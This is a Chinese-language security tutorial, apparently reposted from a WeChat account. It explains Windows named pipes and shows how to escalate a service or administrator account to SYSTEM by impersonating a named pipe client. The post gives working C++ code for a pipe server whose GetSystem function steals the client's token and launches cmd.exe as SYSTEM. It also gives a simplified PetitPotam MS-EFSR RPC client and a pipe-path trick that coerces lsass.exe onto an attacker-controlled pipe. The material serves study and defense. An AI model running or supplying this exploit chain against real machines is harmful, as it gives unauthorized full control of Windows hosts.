通过模拟管道客户端提升权限

渗透技巧 2年前 (2022) admin
812 0 0

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!此外,文中所涉及的 Bug 在最新版本的 Windows 系统中均已修复。


  • 管道(PIPE)

  • 查看本地管道列表

  • 命名管道通信示例

  • 模拟管道客户端

  • 通过 PetitPotam 获取特权令牌

  • Ending……


管道(PIPE)

管道是一项古老的技术,可以在 Unix、Linux、Windows 等多种操作系统中找到,其本质是用于进程间通信的共享内存区域。在 Windows 系统中,存在两种类型的管道:匿名管道(Anonymous Pipes)和命名管道(Named Pipes)。

  • 匿名管道

匿名管道用于重定向子进程的标准输入或输出,以便它可以与其父进程交换数据。若要(双工操作)双向交换数据,必须创建两个匿名管道。父进程使用写入句柄将数据写入到一个管道,而子进程则使用该管道的读取句柄从该管道读取数据。同样,子进程将数据写入其他管道,父进程从中读取数据。匿名管道不能通过网络使用,也不能在不相关的进程之间使用。

  • 命名管道

命名管道用于在不是相关进程的进程之间传输数据,以及不同计算机上的进程之间的数据。通常,命名管道服务器进程会创建具有已知名称或要与其客户端通信的名称的命名管道。知道管道名称的命名管道客户端进程可以打开其另一端,但受命名管道服务器进程指定的访问限制。服务器和客户端都连接到管道后,可以通过对管道执行读取和写入操作来交换数据。

查看本地管道列表

在 windows 系统中,我们可以通过 PowerShell Cmdlet 列出本地所有的管道列表:

# PowerShell V3 以下版本
[System.IO.Directory]::GetFiles("\.pipe")
# PowerShell V3 以上版本
Get-ChildItem "\.pipe"


通过模拟管道客户端提升权限


此外,微软 Sysinternals 工具包中的 pipelist.exe 工具也可以用来枚举管道列表:

pipelist.exe


通过模拟管道客户端提升权限

命名管道通信示例

通常情况下,我们可以通过 CreateNamedPipe API 创建命名管道,该函数的语法如下:

HANDLE CreateNamedPipeA(
  [in]           LPCSTR                lpName,
  [in]           DWORD                 dwOpenMode,
  [in]           DWORD                 dwPipeMode,
  [in]           DWORD                 nMaxInstances,
  [in]           DWORD                 nOutBufferSize,
  [in]           DWORD                 nInBufferSize,
  [in]           DWORD                 nDefaultTimeOut,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
)
;

在创建命名管道的时,必须通过 lpName 参数指定一个命名管道名称(Pipe Name)。由于管道服务器无法在另一台计算机上创建管道,因此 CreateNamedPipe() 函数必须使用句点 . 作为服务器名称:

\.pipePipeName

管道创建完成后,CreateNamedPipe() 函数会返回一个命名管道实例的句柄。此时,服务器进程就可以调用 ConnectNamedPipe() 函数来等待客户的连接请求。当客户端连接上命名管道后,服务器进程可以调用 ReadFile() 函数读取客户端发来的管道数据。相关实例代码如下:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <conio.h>
#include <iostream>

#define BUFSIZE 256

using namespace std;

void _tmain(int argc, TCHAR* argv[])
{
 HANDLE hNamedPipe = NULL;
 LPCWSTR lpName = L"\\.\pipe\pipename";

 printf("[*] Creating named pipe and wait for connection.n");

 hNamedPipe = CreateNamedPipe(
  lpName,
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
  PIPE_UNLIMITED_INSTANCES,
  0,
  0,
  NMPWAIT_WAIT_FOREVER,
  0);

 if (hNamedPipe != INVALID_HANDLE_VALUE)
 {
  printf("[*] Created named pipe \\.\pipe\pipename succeeded.n");
 }
 else
 {
  printf("[-] CreateNamedPipe() Error: %i.n", GetLastError());
 }

 // waiting to be connected
 if (ConnectNamedPipe(hNamedPipe, NULL) != NULL)
 {
  printf("[*] The connection is successful, start receiving datas.n");

  // Receive data from the server
  BOOL fSuccess = FALSE;
  DWORD len = 0;
  CHAR buffer[BUFSIZE];
  string revDatas = "";

  do
  {
   fSuccess = ReadFile(hNamedPipe, buffer, BUFSIZE * sizeof(char), &len, NULL);
   char buffer2[BUFSIZE + 1] = { 0 };
   memcpy(buffer2, buffer, len);
   revDatas.append(buffer2);
   if (!fSuccess || len < BUFSIZE)
   {
    break;
   }
  } while (true);
  cout << "[*] Received data:" << endl << revDatas.c_str() << endl << endl;
 }

 DisconnectNamedPipe(hNamedPipe);
 CloseHandle(hNamedPipe);
 printf("[*] Close named pipe.n");
 system("pause");
}

管道客户端进程可以调用 CreateFile() 函数连接至正在监听的命名管道。连接成功后,CreateFile() 将返回一个指向已经建立连接的命名管道实例的句柄,此时服务端进程调用的 ConnectNamedPipe() 函数也将返回。客户都安可以通过 WriteFile() 函数向命名管道中写入数据。相关实例代码如下:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <conio.h>
#include <iostream>

#define BUFSIZE 5

using namespace std;

void _tmain(int argc, TCHAR* argv[])
{
 HANDLE hNamedPipe = NULL;
 LPCWSTR lpNamedPipeName = L"\\.\pipe\pipename";

 printf("[*] Named Pipes: Client goes online.n");
 printf("[*] Press any key to start connecting named pipes.n");
 _getch();

 if (!WaitNamedPipe(lpNamedPipeName, NMPWAIT_WAIT_FOREVER))
 {
  return;
 }

 printf("[*] Opening named pipe \\.\pipe\pipename.n");

 hNamedPipe = CreateFile(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 if (hNamedPipe != INVALID_HANDLE_VALUE)
 {
  printf("[*] The connection is successful, start sending data.n");

  DWORD nNumberOfBytesToWrite;
  const char* lpBuffer = "Pipe datas from client...";
  if (!WriteFile(hNamedPipe, lpBuffer, strlen(lpBuffer), &nNumberOfBytesToWrite, NULL))
  {
   printf("Write failed...");
   return;
  }
  cout << "[*] Sent data: " << endl << lpBuffer << endl << endl;
 }
 else
 {
  printf("[-] CreateFile() Error: %i.n", GetLastError());
 }

 FlushFileBuffers(hNamedPipe);
 DisconnectNamedPipe(hNamedPipe);
 CloseHandle(hNamedPipe);

 system("pause");
 return;
}

分别运行服务端和客户端后,实现的效果如下图所示:


通过模拟管道客户端提升权限


模拟管道客户端

熟悉 “Potato” 系列提权的朋友应该知道,它们早期的利用思路几乎都是相同的:利用 COM 接口的一些特性,欺骗 NT AUTHORITYSYSTEM 账户连接并验证到攻击者控制的 RPC 服务器。通过一些列 API 调用对这个认证过程执行中间人(NTLM Relay)攻击,并为 NT AUTHORITYSYSTEM 账户在本地生成一个访问令牌。最后窃取这个令牌,并使用 CreateProcessWithToken()CreateProcessAsUser() 函数传入令牌创建新进程,以获取 SYSTEM 权限。

CreateProcessWithToken()CreateProcessAsUser() 函数允许服务器应用程序在客户端的安全上下文中创建进程。例如,对于公开 RPC/COM 接口的 Windows 服务,每当您调用由作为高特权帐户运行的服务公开的 RPC 函数时,该服务可能会调用 RpcImpersonateClient() 函数来模拟客户端,以在客户端的安全上下文中运行代码或创建进程,从而降低特权提升漏洞的风险。

此外,Windows 系统提供了与 RpcImpersonateClient() 功能相似的 ImpersonateNamedPipeClient() 函数。这意味着,在命名管道通信中,管道服务器也可以模拟已连接的管道客户端。因此,如果能够欺骗特权进程连接到我们创建的命名管道,我们可以通过令牌窃取的思路获得客户端令牌,并在特权令牌的上下文中创建进程。

为了避免使本篇文章过于理论化,我编写了以下代码,用作一个具体的例子来进行演示:

#include <windows.h>
#include <stdio.h>
#include <thread>
#include <tchar.h>
#include <iostream>

void GetSystem(HANDLE hNamedPipe);

#define BUFSIZE 256

using namespace std;

void _tmain(int argc, TCHAR* argv[])
{
    HANDLE hNamedPipe = NULL;
    LPCWSTR lpName = L"\\.\pipe\pipename";

    printf("[*] Creating named pipe and wait for connection.n");

    hNamedPipe = CreateNamedPipe(
        lpName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        0,
        0,
        NMPWAIT_WAIT_FOREVER,
        0);

    if (hNamedPipe != INVALID_HANDLE_VALUE)
    {
        printf("[*] Created named pipe \\.\pipe\pipename succeeded.n");
    }
    else
    {
        printf("[-] CreateNamedPipe() Error: %i.n", GetLastError());
    }

    // waiting to be connected
    if (ConnectNamedPipe(hNamedPipe, NULL) != NULL)
    {
        printf("[*] The connection is successful, start receiving datas.n");

        // Receive data from the server
        BOOL fSuccess = FALSE;
        DWORD len = 0;
        CHAR buffer[BUFSIZE];
        string revDatas = "";

        do
        {
            fSuccess = ReadFile(hNamedPipe, buffer, BUFSIZE * sizeof(char), &len, NULL);
            char buffer2[BUFSIZE + 1] = { 0 };
            memcpy(buffer2, buffer, len);
            revDatas.append(buffer2);
            if (!fSuccess || len < BUFSIZE)
            {
                break;
            }
        } while (true);
        cout << "[*] Received data:" << endl << revDatas.c_str() << endl << endl;

        GetSystem(hNamedPipe);
    }

    DisconnectNamedPipe(hNamedPipe);
    CloseHandle(hNamedPipe);
    printf("[*] Close named pipe.n");
    system("pause");
}


void GetSystem(HANDLE hNamedPipe)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    HANDLE hProcess;
    HANDLE hToken = NULL;
    HANDLE phNewToken = NULL;

    // clear a block of memory
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Impersonates a named-pipe client application.
    if (ImpersonateNamedPipeClient(hNamedPipe))
    {
        printf("[+] ImpersonateNamedPipeClient success.n");
    }
    else
    {
        printf("[-] ImpersonateNamedPipeClient() Error: %i.n", GetLastError());
        return;
    }

    // Open the impersonation token handle associated with the current thread.
    if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
    {
        printf("[+] OpenThreadToken success.n");
    }
    else
    {
        printf("[-] OpenThreadToken() Error: %i.n", GetLastError());
        return;
    }

    // Convert the impersonation token obtained in the previous step into the primary token
    if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken))
    {
        printf("[+] DuplicateTokenEx success.n");
    }
    else
    {
        printf("[-] DupicateTokenEx() Error: %i.n", GetLastError());
        return;
    }

    // Creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.
    if (CreateProcessAsUser(phNewToken, (LPWSTR)L"C:\Windows\System32\cmd.exe"NULLNULLNULL, TRUE, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, NULLNULL, &si, &pi))
    {
        printf("[+] CreateProcessAsUser success.n");

        CloseHandle(hToken);
        CloseHandle(phNewToken);

        return;
    }
    else if (GetLastError() != NULL)
    {
        RevertToSelf();
        printf("[!] CreateProcessAsUser() failed, possibly due to missing privileges, retrying with CreateProcessWithTokenW().n");

        // Creates a new process and its primary thread. The new process runs in the security context of the specified token. It can optionally load the user profile for the specified user.
        if (CreateProcessWithTokenW(phNewToken, LOGON_WITH_PROFILE, (LPWSTR)L"C:\Windows\System32\cmd.exe"NULL, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, NULLNULL, &si, &pi))
        {
            printf("[+] CreateProcessWithTokenW success.n");

            CloseHandle(hToken);
            CloseHandle(phNewToken);

            return;
        }
        else
        {
            printf("[-] CreateProcessWithTokenW failed (%d).n", GetLastError());

            CloseHandle(hToken);
            CloseHandle(phNewToken);

            return;
        }
    }
}

运行上述代码,将由 _tmain() 函数将创建一个命名管道,管道服务器调用 ConnectNamedPipe() 等待客户端连接。当客户端连接成功后,服务器程序将调用 ReadFile() 来读取客户端写入的数据,并调用我们自定义的 GetSystem() 函数模拟管道客户端。在 GetSystem() 的函数的内部将依次完成以下工作:

  1. 通过 ImpersonateNamedPipeClient() 函数模拟命名管道客户端。
  2. 通过 GetCurrentThread()OpenThreadToken() 函数打开与当前线程关联的模拟令牌句柄。
  3. 调用 DuplicateTokenEx() 函数,复制上一步获取到的模拟令牌来创建一个主令牌。
  4. 调用 CreateProcessAsUser() 函数,通过上一步获取到的主令牌创建进程。成功执行 CreateProcessAsUser() 函数需要拥有 SeAssignPrimaryTokenPrivilege 特权的上下文。
  5. 如果 CreateProcessAsUser() 函数执行失败,则尝试调用 CreateProcessWithTokenW() 函数创建进程。成功执行 CreateProcessWithTokenW() 函数需要拥有 SeImpersonatePrivilege 特权的上下文。

如果此时以 NT AUTHORITYSYSTEM 账户运行的特权进程连接至该管道服务器,那么我们将获得一个 SYSTEM 权限运行的命令行窗口,如下图所示。为了便于演示,我预先通过 PsExec 获得了 SYSTEM 权限,并通过 SYSTEM 权限运行以下命令,通过重定向连接至上述管道。

echo "Pipe datas from client" > \.pipepipename


通过模拟管道客户端提升权限


需要注意的是,调用 CreateProcessWithToken()CreateProcessAsUser() 函数必须分别拥有 SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilege 特权,而拥有这两项特权的一般是以下账户:

  • 系统管理员账户(RID 500)
  • 本地服务账户(NT AUTHORITYLocal Service)
  • 网络服务账户(NT AUTHORITYNetwork Service)

因此通过模拟令牌提权的方法适用于将以获取的管理员权限或服务账户权限提升至 SYSTEM 权限。

通过 PetitPotam 获取特权令牌

在上一节中,我们已经通过模拟管道客户端获取了 SYSTEM 权限。但到目前为止,我们仍需手动操作 NT AUTHORITYSYSTEM 账户连接至命名管道才能完成攻击。那么能否欺骗 NT AUTHORITYSYSTEM 账户自动连接至我们控制的命名管道呢?当然可以!

早在 2020 年 5 月,Clément Labro(@itm4n)便通过滥用 MS-RPRN RPC 接口(Printerbug)来强制计算机账户认证到命名管道,并通过模拟管道客户端实现了本地提权。想了解更多细节的读者可以阅读这篇文章:《PrintSpoofer – Abusing Impersonation Privileges on Windows 10 and Server 2019》。

此外,法国安全研究人员 Gilles Lionel(@topotam)在 2021 年 7 月披露了一种新型的强制身份验证的方法——PetitPotam,其滥用了 MS-EFSR(Encrypting File System Remote,加密文件系统远程协议)协议,该协议接口中存在一系列函数,其 FileName 参数可以指定 UNC 路径。MS-EFSR RPC 接口通过命名管道 \.pipelsass 公开。那么我们能否使用 PetitPotam 替代 Printerbug,并达到与之相同的效果呢?当然可以!

为了进一步理解 PetitPotam 的实现原理,将 PetitPotam 的源码简化为以下 Demo:

// EfsrRpcClient.cpp
#include "ms-efsr_h.h"
#include <tchar.h>
#include <iostream>
#include <strsafe.h>

#pragma comment(lib, "RpcRT4.lib")

void _tmain(int argc, TCHAR* argv[])
{
    RPC_WSTR ObjUuid = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e";    // Pointer to a null-terminated string representation of an object UUID. 
    RPC_WSTR ProtSeq = (RPC_WSTR)L"ncacn_np";                                // Pointer to a null-terminated string representation of a protocol sequence.;
    RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\127.0.0.1";                       // Pointer to a null-terminated string representation of a network address.
    RPC_WSTR Endpoint = (RPC_WSTR)L"\pipe\lsass";                          // Pointer to a null-terminated string representation of an endpoint.
    RPC_WSTR Options = NULL;                                                 // Pointer to a null-terminated string representation of network options.
    RPC_WSTR StringBinding;                                                  // Returns a pointer to a pointer to a null-terminated string representation of a binding handle.

    RPC_STATUS RpcStatus;

    RPC_BINDING_HANDLE binding_h;

    RpcStatus = RpcStringBindingComposeW(ObjUuid, ProtSeq, NetworkAddr, Endpoint, Options, &StringBinding);
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcStringBindingComposeW() Error: %in", GetLastError());
        return;
    }

    RpcStatus = RpcBindingFromStringBindingW(
        StringBinding,    // Previously created string binding
        &binding_h    // Output binding handle
    );
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcBindingFromStringBindingW() Error: %in", GetLastError());
        return;
    }

    RpcStringFreeW(&StringBinding);
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcStringFreeW() Error: %in", GetLastError());
        return;
    }

    RpcTryExcept
    {
        // Invoke remote procedure here
        LPWSTR PipeFileName;
        long result;

        PipeFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
        StringCchPrintf(PipeFileName, MAX_PATH, L"\\127.0.0.1\C$\Folder\test.txt");

        wprintf(L"[+] Invoking EfsRpcOpenFileRaw with target path: %ws.rn", PipeFileName);

        /*
         *  long EfsRpcOpenFileRaw(
         *      [in] handle_t binding_h,
         *      [out] PEXIMPORT_CONTEXT_HANDLE* hContext,
         *      [in, string] wchar_t* FileName,
         *      [in] long Flags
         *  );
         */


        PVOID hContext;
        result = Proc0_EfsRpcOpenFileRaw_Downlevel(binding_h, &hContext, PipeFileName, 0);
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        wprintf(L"Exception: %d - 0x%08x.rn", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept
    {
        RpcBindingFree(&binding_h);
    }
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

上述代码将依次完成以下工作:

  1. 通过 RpcStringBindingCompose() 函数创建一个 RPC 绑定字符串。
  2. 通过 RpcBindingFromStringBinding() 函数,以根据上一步创建的绑定字符串创建绑定句柄。
  3. 调用 RpcStringFree() 函数释放绑定字符串,后续将不再使用该绑定字符串。
  4. RpcTryExcept 块中使用绑定句柄调用远程过程,这里调用的是 EfsRpcOpenFileRaw() 函数。
  5. 调用 RpcBindingFree() 以释放绑定句柄。

现在,让我们编译并运行上述代码,同时使用 Process Monitor 监视后台进程。可以看到,lsass.exe 进程试图访问 \127.0.0.1C$Foldertest.txt 这个 UNC 路径的文件,如下图所示。


通过模拟管道客户端提升权限


双击该条目查看更多细节,我们可以看到,RPC 服务器实际上是在模拟客户端,如下图所示。然而,我们在前文中模拟管道客户端时,需要的是 NT AUTHORITYSYSTEM 这样的特权账户,很明显这不符合我们的要求。


通过模拟管道客户端提升权限


在此观察 Process Monitor 中的条目会发现,lsass.exe 进程在访问 \127.0.0.1C$Foldertest.txt 文件之前,会先打开 \127.0.0.1PIPEsrvsvc 这个命名管道,并且这一次没有模拟客户端:


通过模拟管道客户端提升权限


如果阅读过 《PrintSpoofer – Abusing Impersonation Privileges on Windows 10 and Server 2019》 这篇文章,你会发现在 PrintSpoofer 中也出现过类似的行为,它试图打开命名管道 pipespoolss

此外,根据 PrintSpoofer 文中介绍的一个非常关键的 Trick,如果我们指定管道路径为 \127.0.0.1/pipe/pipenameC$test.txt,当客户端连接时,会自动将其转换为\127.0.0.1pipepipenamePIPEsrvsvc,如下图所示。通过这一点可以欺骗客户端连接至我们控制的命名管道。


通过模拟管道客户端提升权限


并且,由于 lsass.exe 进程以 NT AUTHORITYSYSTEM 帐户权限运行,当在已加入域的计算机上使用远程路径调用此过程时,Windows 将实际使用计算机帐户在 UAC 路径所指向的服务器上进行身份验证。这就解释了为什么 “PetitPotam” 能够强制任意 Windows 机器对另一台机器进行身份验证。分析到这里,我们完全可以用 PetitPotam 替代 Printerbug,并创建一个与 PrintSpoofer 类似的提权工具。

首先,我编写了一个自定义函数 LaunchPetitNamedPipeServer(),通过该函数创建一个命名管道 \.pipepetitpipesrvsvc,并调用 ConnectNamedPipe() 函数等待客户端连接:

DWORD WINAPI LaunchPetitNamedPipeServer(LPVOID lpParam)
{
    HANDLE hNamedPipe = NULL;
    LPWSTR lpName;
    LPWSTR lpCommandLine = (LPWSTR)lpParam;

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
    StringCchPrintf(lpName, MAX_PATH, L"\\.\pipe\petit\pipe\srvsvc");

    if ((hNamedPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10204820480, &sa)))
    {
        printf("n[+] Malicious named pipe running on %S.n", lpName);
    }
    else
    {
        printf("[-] ImpersonateNamedPipeClient() Error: %i.n", GetLastError());
        return 0;
    }

    if (ConnectNamedPipe(hNamedPipe, NULL) != NULL)
    {
        printf("[+] The connection is successful.n");
    }
    else
    {
        printf("[-] ConnectNamedPipe() Error: %i.n", GetLastError());
        return 0;
    }

    GetSystem(hNamedPipe, lpCommandLine);
    CloseHandle(hNamedPipe);

    return 0;
}

然后调用 MS-EFSR RPC 接口中的函数来打开命名管道 \localhost/pipe/petitC$wh0nqs.txt,客户端会自动将连接的管道路径转换为 \.pipepetitpipesrvsvc,也就是前面  LaunchPetitNamedPipeServer() 函数创建的管道。当 MS-EFSR 函数连接至管道后,我们在通过前面模拟管道客户端的方法窃取管道客户端的特权令牌,并在特权令牌的上下文中创建进程。最终,我们将获取 SYSTEM 权限。

下面我们分别通过 Administrator 和 Local Service 权限来演示最终的提权效果:

  • Administrator —> SYSTEM


通过模拟管道客户端提升权限


  • Local Service (IIS) —> SYSTEM


通过模拟管道客户端提升权限


  • Local Service (SQL Server) —> SYSTEM


通过模拟管道客户端提升权限


其实早在 PetitPotam 披露之初,便有人根据 PetitPotam 的原理实现了 EfsPotato,相关源码可以查看:https://github.com/zcgonvh/EfsPotato。

Ending……


原文始发于微信公众号(i春秋):通过模拟管道客户端提升权限

版权声明:admin 发表于 2022年7月4日 下午6:18。
转载请注明:通过模拟管道客户端提升权限 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...